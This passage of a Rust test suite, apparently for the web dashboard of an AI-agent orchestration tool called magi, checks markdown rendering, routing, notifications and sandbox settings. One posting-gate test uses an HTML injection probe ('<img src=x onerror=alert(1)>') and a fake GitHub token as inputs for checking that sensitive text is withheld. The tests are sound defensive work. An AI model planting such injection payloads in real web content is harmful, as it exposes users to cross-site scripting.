20369                std::path::PathBuf::from("/repo"),
20370                "main".to_owned(),
20371                "abc".to_owned(),
20372                "x".to_owned(),
20373                crate::config::Config::default(),
20374            );
20375            state.status = status;
20376            let v = serde_json::to_value(RunDetailView::of(
20377                state,
20378                false,
20379                crate::run::Liveness::Unknown,
20380                None,
20381                None,
20382                None,
20383            ))
20384            .unwrap();
20385            assert_eq!(v["done"], done, "{status:?}");
20386        }
20387    }
20388
20389    /// The first node of a markdown block holds a `strong` somewhere.
20390    fn has_strong(nodes: &[md::Node]) -> bool {
20391        serde_json::to_string(nodes).unwrap().contains("strong")
20392    }
20393
20394    #[test]
20395    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20396        let mut state = RunState::new(
20397            std::path::PathBuf::from("/repo"),
20398            "main".to_owned(),
20399            "abc".to_owned(),
20400            "x".to_owned(),
20401            crate::config::Config::default(),
20402        );
20403        let proposal = |approach: &str| {
20404            serde_json::json!({
20405                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20406            })
20407        };
20408        state.advice = Some(
20409            serde_json::from_value(serde_json::json!({
20410                "records": [
20411                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20412                     "proposal": proposal("do **this**")},
20413                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20414                ],
20415                "synthesis": "- one\n- **two**\n\n`code`",
20416            }))
20417            .unwrap(),
20418        );
20419        state.candidates = serde_json::from_value(serde_json::json!([
20420            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20421             "summary": "did **it**"},
20422            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20423        ]))
20424        .unwrap();
20425        // Recorded in ascending severity, the reverse of how the page sorts
20426        // them: the arrays must follow the record, not the display.
20427        state.reviews = serde_json::from_value(serde_json::json!([{
20428            "round": 1, "head": "h",
20429            "reviews": [{
20430                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20431                "findings": [
20432                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20433                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20434                ],
20435            }],
20436            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20437            "fix": {"agent": "a", "notes": "fixed **it**",
20438                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20439        }, {"round": 2, "head": "h2", "reviews": []}]))
20440        .unwrap();
20441
20442        let v = serde_json::to_value(RunDetailView::of(
20443            state,
20444            false,
20445            crate::run::Liveness::Unknown,
20446            None,
20447            None,
20448            None,
20449        ))
20450        .unwrap();
20451
20452        let strong = |p: &str| {
20453            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20454            assert!(n.to_string().contains("strong"), "{p}: {n}");
20455        };
20456        strong("/advice_md/synthesis");
20457        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20458        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20459        strong("/advice_md/approaches/0");
20460        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20461        strong("/candidate_summaries_md/0");
20462        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20463        strong("/reviews_md/0/reviewers/0/summary");
20464        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20465        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20466        assert!(f[1].to_string().contains("strong"));
20467        strong("/reviews_md/0/reconsideration/0");
20468        strong("/reviews_md/0/fix/notes");
20469        strong("/reviews_md/0/fix/rejected/0");
20470        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20471        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20472        // The raw strings stay, and no schema moved.
20473        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20474        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20475    }
20476
20477    #[test]
20478    fn a_run_without_advice_has_no_advice_md() {
20479        let state = RunState::new(
20480            std::path::PathBuf::from("/repo"),
20481            "main".to_owned(),
20482            "abc".to_owned(),
20483            "x".to_owned(),
20484            crate::config::Config::default(),
20485        );
20486        let p = run_prose_md(&state);
20487        assert!(p.advice_md.is_none());
20488        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20489    }
20490
20491    #[test]
20492    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20493        let store = ask::Questions::at(PathBuf::from("unused"));
20494        let gt = crate::github_text::Withheld {
20495            title: false,
20496            body: true,
20497            categories: vec!["sensitive-data".into()],
20498        };
20499        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20500        let (detail, comparison) =
20501            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20502        let mut q = Question::new(
20503            "r".into(),
20504            "github-text".into(),
20505            "posting-gate".into(),
20506            "s".into(),
20507            detail,
20508            Vec::new(),
20509        );
20510        assert!(
20511            QuestionView::of(q.clone(), &store, None)
20512                .posting_view
20513                .is_none()
20514        );
20515        q.posting_comparison = Some(comparison);
20516        let view = QuestionView::of(q.clone(), &store, None);
20517        let field = &view.posting_view.unwrap().fields[0];
20518        assert_eq!(
20519            field
20520                .original
20521                .iter()
20522                .map(|f| f.text.as_str())
20523                .collect::<String>(),
20524            body
20525        );
20526        assert!(field.original[0].text.starts_with("<img"));
20527        let original_question: Question =
20528            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20529        assert_eq!(original_question, q);
20530        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20531            .original
20532            .start = 1;
20533        assert!(
20534            QuestionView::of(q.clone(), &store, None)
20535                .posting_view
20536                .is_none()
20537        );
20538        q.posting_comparison = original_question.posting_comparison;
20539        q.detail.push_str("extra context");
20540        assert!(
20541            QuestionView::of(q.clone(), &store, None)
20542                .posting_view
20543                .is_some()
20544        );
20545        q.detail.insert(0, 'x');
20546        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20547    }
20548
20549    #[test]
20550    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20551        let store = ask::Questions::at(PathBuf::from("unused"));
20552        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20553        let gt = crate::github_text::Withheld::from_check(
20554            &crate::github_text::check("fix: x", body),
20555            "fix: x",
20556            body,
20557        )
20558        .unwrap();
20559        let (detail, comparison) =
20560            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20561        let mut q = Question::new(
20562            "r".into(),
20563            "github-text".into(),
20564            "posting-gate".into(),
20565            "s".into(),
20566            detail,
20567            Vec::new(),
20568        );
20569        q.posting_comparison = Some(comparison);
20570        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20571        let field = &value["posting_view"]["fields"][0];
20572        let group = &field["replacement_group"];
20573        let triggers = group["triggers"].as_array().unwrap();
20574        assert_eq!(triggers.len(), 2);
20575        assert_ne!(triggers[0], triggers[1]);
20576        for id in triggers {
20577            assert!(
20578                field["original"]
20579                    .as_array()
20580                    .unwrap()
20581                    .iter()
20582                    .any(|f| &f["pair"] == id)
20583            );
20584            assert!(
20585                !field["changed"]
20586                    .as_array()
20587                    .unwrap()
20588                    .iter()
20589                    .any(|f| &f["pair"] == id)
20590            );
20591        }
20592        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20593            group["id"].as_u64().unwrap() as usize;
20594        assert!(
20595            QuestionView::of(q, &store, None).posting_view.is_none(),
20596            "group and trigger IDs cannot collide"
20597        );
20598    }
20599
20600    #[test]
20601    fn a_question_view_carries_markdown_for_each_thread_turn() {
20602        let home = TempDir::new().unwrap();
20603        let store = ask::Questions::at(home.path().join("questions"));
20604        let mut q = Question::new(
20605            "run".to_owned(),
20606            "implement".to_owned(),
20607            "impl-A".to_owned(),
20608            "which?".to_owned(),
20609            String::new(),
20610            Vec::new(),
20611        );
20612        q.say("plain words").unwrap();
20613        q.reply("use **this**", Vec::new()).unwrap();
20614        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20615        let bodies = &v["thread_bodies_md"];
20616        assert_eq!(bodies.as_array().unwrap().len(), 2);
20617        assert!(!bodies[0].to_string().contains("strong"));
20618        assert!(bodies[1].to_string().contains("strong"));
20619    }
20620
20621    #[test]
20622    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20623        let home = TempDir::new().unwrap();
20624        let store = ask::Questions::at(home.path().join("questions"));
20625        let mut q = Question::new(
20626            "run".to_owned(),
20627            "conduct".to_owned(),
20628            "conduct".to_owned(),
20629            "which?".to_owned(),
20630            String::new(),
20631            Vec::new(),
20632        );
20633        q.say("plain words").unwrap();
20634        q.thread.push(ask::Turn {
20635            who: ask::Who::Agent,
20636            body: "Settled as `merge`".to_owned(),
20637            at: jiff::Timestamp::now(),
20638            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20639        });
20640        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20641        let notes = &v["thread_notes_md"];
20642        assert_eq!(notes.as_array().unwrap().len(), 2);
20643        assert!(notes[0].is_null());
20644        let text = notes[1].to_string();
20645        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20646        assert!(APP_JS.contains("ask-turn-note"));
20647    }
20648
20649    #[test]
20650    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20651        // The land panel defers to `run.status` for merged, and labels a
20652        // recorded-open PR on any finished run (superseded, blocked, ...) as
20653        // last seen, never as live state.
20654        assert!(APP_JS.contains("function landView(run, raw) {"));
20655        assert!(
20656            APP_JS.contains(
20657                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20658            )
20659        );
20660        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20661        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20662        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20663        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20664    }
20665
20666    #[test]
20667    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20668        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20669        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20670        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20671        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20672    }
20673
20674    #[test]
20675    fn review_rounds_label_a_distinct_verified_head() {
20676        assert!(APP_JS.contains("round.verified_head"));
20677        assert!(APP_JS.contains("verified HEAD"));
20678        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20679    }
20680
20681    #[test]
20682    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20683        // A blocked task's chip and note must not fall back to a queued-like
20684        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20685        // itself by e11fc58 but never checked here.
20686        assert!(APP_JS.contains("blocked: { glyph:"));
20687        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20688
20689        // `blocked_by` mixes task ids and question ids in the same list, and
20690        // the client can only tell them apart by checking each id against
20691        // what it actually knows - never by guessing from the id's shape.
20692        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20693        assert!(
20694            APP_JS.contains(
20695                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20696            ),
20697            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20698        );
20699        // The classification must key off `status_str`, never off `blocked_by`
20700        // or `block_reason` merely being present - both can survive briefly
20701        // on a task a hold or a dead daemon just moved off `blocked`.
20702        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20703
20704        // A question a task is blocked on gets its own node in the same
20705        // dependency graph, not just a task-shaped node with nothing known
20706        // about it.
20707        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20708        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20709        assert!(
20710            APP_JS.contains("location.hash = \"#/questions\";"),
20711            "a question node must jump to the Questions screen, not pretend to be a task"
20712        );
20713
20714        // `Task::answers` - decisions already made - are shown as a record on
20715        // the card, the same disclosure style as the full instruction.
20716        assert!(APP_JS.contains("Resolved questions"));
20717        assert!(APP_JS.contains("r.answersList.append("));
20718        assert!(APP_CSS.contains(".task-answers"));
20719        {
20720            let start = APP_JS
20721                .find("function updateTalkTaskRow")
20722                .expect("updateTalkTaskRow");
20723            let body = &APP_JS[start..];
20724            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20725            assert!(
20726                body.contains(
20727                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20728                ),
20729                "a chat-filed task row must link to the task page"
20730            );
20731            assert!(
20732                !body.contains("#/runs/") && !body.contains("#/queue/"),
20733                "the row must not branch to a run or the queue card"
20734            );
20735            assert!(APP_CSS.contains(".talk-task-link"));
20736        }
20737    }
20738
20739    #[test]
20740    fn a_task_notification_links_to_the_task_page() {
20741        // A task notice opens the task detail page, not the Backlog card.
20742        let start = APP_JS
20743            .find("function noticeLink(")
20744            .expect("noticeLink exists");
20745        let body = &APP_JS[start..];
20746        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20747        assert!(
20748            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20749            "a task notice's link must target the task page"
20750        );
20751        assert!(
20752            !body.contains("#/queue/"),
20753            "regression: the task link must not go back to the Backlog route"
20754        );
20755        assert!(
20756            APP_JS.contains(
20757                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20758            ),
20759            "`#/tasks/<id>` must parse into the task route"
20760        );
20761
20762        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20763        assert!(
20764            APP_JS.contains(
20765                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20766            ),
20767            "`#/queue/<id>` must parse into a route carrying that id"
20768        );
20769
20770        // And the Backlog view has to actually land on the card once it can
20771        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20772        // so a focus set before the queue has loaded is retried once it has.
20773        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20774        assert!(APP_JS.contains("function consumeQueueFocus()"));
20775        assert!(APP_JS.contains("jumpToTask(id)"));
20776    }
20777
20778    #[test]
20779    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20780        let start = APP_JS
20781            .find("function noticeCoveredBy(")
20782            .expect("noticeCoveredBy exists");
20783        let body = &APP_JS[start..];
20784        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20785
20786        // Historical associations are informational, even for open questions.
20787        assert!(body.contains("Associated question ${short}"));
20788        assert!(!body.contains("el(\"a\""));
20789
20790        // A resolved question displays status rather than an actionable link
20791        assert!(body.contains("(resolved)"));
20792        assert!(body.contains("(closed)"));
20793
20794        let start = APP_JS
20795            .find("function renderNotifications()")
20796            .expect("renderNotifications exists");
20797        let body = &APP_JS[start..];
20798        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20799
20800        // Only a server-resolved answerable question supplies a response link.
20801        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20802        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20803        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20804        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20805    }
20806
20807    /// Chat rows are two lines at every width: the title alone, then the
20808    /// shrinkable secondary info.
20809    #[test]
20810    fn chat_rows_put_the_title_alone_on_the_first_line() {
20811        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20812        assert!(APP_CSS.contains(
20813            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20814        ));
20815        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20816        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20817    }
20818
20819    #[test]
20820    fn run_rows_put_the_title_alone_on_the_first_line() {
20821        assert!(
20822            APP_CSS.contains(
20823                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20824            )
20825        );
20826        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20827        assert!(APP_JS.contains("class: \"card run-card\""));
20828        assert!(APP_JS.contains("class: \"repo run-id\""));
20829    }
20830
20831    /// Wide screens get a master/detail layout built from the views a phone
20832    /// drills into. These are string assertions: they pin the contract between
20833    /// the three assets, not how it looks.
20834    #[test]
20835    fn wide_screens_show_list_and_preview_side_by_side() {
20836        // One breakpoint, spelled the same in the script and the stylesheet.
20837        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20838        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20839        assert!(APP_CSS.contains("main[data-split]"));
20840        assert!(APP_CSS.contains("body[data-split]"));
20841
20842        // The route -> panes table, and a narrow screen opting out of it.
20843        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20844        assert!(
20845            APP_JS.contains(
20846                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20847            )
20848        );
20849        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20850        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20851        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20852
20853        // Selection is derived from the route, and only ever paints a row.
20854        assert!(APP_JS.contains("function markSelected() {"));
20855        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20856        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20857        // The dense row must override the stacked card the 720px block sets up.
20858        assert!(
20859            APP_CSS.contains(
20860                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20861            )
20862        );
20863
20864        // Independent scrolling: the page stops scrolling, each pane does.
20865        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20866        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20867        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20868        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20869
20870        // A refresh must never navigate: the loaders still check that their
20871        // subject is the one on screen, and crossing the breakpoint only
20872        // re-reads the hash.
20873        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20874        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20875        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20876        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20877
20878        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20879        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20880    }
20881
20882    #[test]
20883    fn panel_sandbox_carries_exactly_popups() {
20884        let needle = "sandbox: \"";
20885        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20886        assert_eq!(
20887            matches.len(),
20888            1,
20889            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20890        );
20891        let start = matches[0].0 + needle.len();
20892        let end = APP_JS[start..]
20893            .find('"')
20894            .expect("sandbox attribute value must be terminated by a closing quote");
20895        let val = &APP_JS[start..start + end];
20896        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20897        let expected: std::collections::BTreeSet<&str> =
20898            ["allow-popups", "allow-popups-to-escape-sandbox"]
20899                .into_iter()
20900                .collect();
20901        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20902        assert!(
20903            !tokens.contains("allow-scripts"),
20904            "allow-scripts must never be present in sandbox"
20905        );
20906        assert!(
20907            !tokens.contains("allow-same-origin"),
20908            "allow-same-origin must never be present in sandbox"
20909        );
20910    }
20911
20912    #[test]
20913    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20914        // consumeQueueFocus() clears an active Backlog search before it can
20915        // scroll to the target card (the sections list is hidden while a
20916        // search is showing), by recursing back into renderQueue(). The
20917        // fixer's first cut nulled state.queueFocus before that recursive
20918        // call, so the second pass saw nothing to jump to and the jump was
20919        // silently dropped whenever a notification's link was opened with a
20920        // stale search still active. state.queueFocus must only be cleared
20921        // right before jumpToTask() actually runs.
20922        assert!(
20923            APP_JS.contains(
20924                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20925            ),
20926            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20927             recursive renderQueue() call has nothing left to jump to"
20928        );
20929        assert!(
20930            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20931            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20932             arrives later still gets it"
20933        );
20934        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20935        assert!(APP_JS.contains("is not in the current Backlog."));
20936        assert!(APP_JS.contains("li.card[data-task-id=\""));
20937        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20938        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20939        assert!(APP_CSS.contains(".card-permalink"));
20940        assert!(APP_CSS.contains(".queue-focus-status"));
20941        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20942    }
20943
20944    #[test]
20945    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20946        // The task's own repro: only the link text inside .notice-meta was
20947        // clickable, so a tap on the message, the timestamp, or the card's
20948        // padding did nothing - on a phone that reads as "the card doesn't
20949        // work" even though the tiny link inside it did. Mark read / Dismiss
20950        // must keep working independently of this: `.closest("a, button")`
20951        // is what lets a tap that actually lands on those elements fall
20952        // through instead of being hijacked into a navigation.
20953        assert!(
20954            APP_JS.contains(
20955                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20956            ),
20957            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20958        );
20959    }
20960
20961    #[test]
20962    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20963        assert!(
20964            APP_JS.contains("round.verified_head !== round.head"),
20965            "a round that verified an earlier commit must be visibly distinct from one that \
20966             verified the head reviewers are looking at now"
20967        );
20968        assert!(
20969            APP_JS.contains("round.verified_at"),
20970            "when a check ran must be on the wire, not just which commit"
20971        );
20972        assert!(
20973            APP_JS.contains("resource_blocked"),
20974            "a command magi never got to run (shared build cache contention) must not render \
20975             the same as a command that ran and failed"
20976        );
20977    }
20978
20979    #[test]
20980    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20981        // Every KPI tile but Total runs and Completion names an exact
20982        // RunStatus and hands it to openRunsFiltered(), which is what wires
20983        // the click into state.runsFilter.status (matchesFilter's own
20984        // status check) rather than the coarser runsStateFilter chips. Each
20985        // status literal here must be one of the strings runSection() (and
20986        // isStale()) actually compare a run's own `status` field against -
20987        // a status this dashboard invented would filter to nothing.
20988        assert!(
20989            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20990            "every KPI tile built through statusTile() must route its click through \
20991             openRunsFiltered, the single place that sets the Runs filter"
20992        );
20993        for (label, status) in [
20994            ("Merged", "merged"),
20995            ("Ready", "ready"),
20996            ("Blocked", "blocked"),
20997            ("Stalled", "stalled"),
20998        ] {
20999            let call = format!("statusTile(\"{label}\", t.{status}, ");
21000            assert!(
21001                APP_JS.contains(&call),
21002                "expected the {label} KPI tile built via {call}..."
21003            );
21004            assert!(
21005                APP_JS.contains(&format!("status === \"{status}\"")),
21006                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21007                 compare a run against, not one invented only for the stats tile"
21008            );
21009        }
21010        assert!(
21011            APP_JS.contains("function openRunsFiltered(status)"),
21012            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21013        );
21014        assert!(
21015            APP_JS.contains(
21016                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21017            ),
21018            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21019        );
21020        // applyRoute() only flips which view is visible for a plain `#runs`
21021        // hash - it does not itself redraw the list (see applyRoute's own
21022        // handling below) - so openRunsFiltered must call renderRuns()
21023        // itself, and must call applyRoute() too so the view flips even
21024        // when the hash string doesn't change (the operator may already be
21025        // on the Runs view when a tile is tapped, which fires no
21026        // hashchange event at all).
21027        assert!(
21028            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21029            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21030             hashchange event that may never fire"
21031        );
21032    }
21033
21034    #[test]
21035    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21036        // A stats tile can leave state.runsFilter.status set to something
21037        // done-by-construction (e.g. "merged") - picking "Active" afterward
21038        // must drop it the same way an incompatible tree section is already
21039        // dropped, or the Runs list renders permanently empty with no way
21040        // for the operator to tell why.
21041        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21042        assert!(
21043            APP_JS.contains(
21044                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21045            ),
21046            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21047             guard for an incompatible tree section"
21048        );
21049    }
21050
21051    #[test]
21052    fn every_stats_queue_tile_names_a_real_queue_section() {
21053        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21054        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21055        // (consumeQueueSectionFocus finds no matching <details> and drops
21056        // the focus) rather than fail loudly, so pin every key against the
21057        // section list it has to resolve against.
21058        assert!(
21059            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21060            "every queue tile built through sectionTile() must route its click through \
21061             openQueueSectionFocus"
21062        );
21063        for key in ["upnext", "running", "done", "held", "blocked"] {
21064            assert!(
21065                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21066                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21067            );
21068        }
21069        // Queued and Failed intentionally both resolve to "upnext" - the
21070        // same section queueSection() itself files them under - rather than
21071        // getting a section each.
21072        for line in [
21073            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21074            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21075            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21076            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21077            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21078            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21079        ] {
21080            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21081        }
21082    }
21083
21084    #[test]
21085    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21086        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21087        // above for the section-focus channel a stats queue tile drives:
21088        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21089        // through the stale-search-clear recursion into renderQueue(), and
21090        // clear it only once revealQueueSection() is actually about to run -
21091        // the same trap that once silently dropped a task-focus jump.
21092        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21093        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21094        assert!(APP_JS.contains("function revealQueueSection(details)"));
21095        assert!(
21096            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21097            "renderQueue() must consume both focus channels on every pass"
21098        );
21099        assert!(
21100            APP_JS.contains(
21101                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21102            ),
21103            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21104             the recursive renderQueue() call has nothing left to reveal"
21105        );
21106        assert!(
21107            APP_JS.contains(
21108                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21109            ),
21110            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21111        );
21112        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21113        // task-focus form of the hash - a plain `#queue` navigation only
21114        // flips which view is visible. openQueueSectionFocus() must
21115        // therefore call renderQueue() itself, and applyRoute() too so the
21116        // view flips even when the hash doesn't change (the Backlog may
21117        // already be open when a tile is tapped, firing no hashchange
21118        // event at all).
21119        assert!(
21120            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21121            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21122             hashchange event that may never fire"
21123        );
21124    }
21125
21126    #[tokio::test]
21127    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21128        let f = Fixture::start().await;
21129
21130        let mut socket = tokio::net::TcpStream::connect(f.addr)
21131            .await
21132            .expect("connect");
21133        socket
21134            .write_all(
21135                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21136            )
21137            .await
21138            .expect("write request");
21139
21140        // Read until the first event arrives rather than to end of stream: the
21141        // stream is endless by design, which is the point of the route.
21142        let mut seen = String::new();
21143        let mut buf = [0u8; 1024];
21144        while !seen.contains("event: change") {
21145            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21146                .await
21147                .expect("the stream must speak within five seconds")
21148                .expect("read");
21149            assert!(read > 0, "the server closed the change stream: {seen}");
21150            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21151        }
21152
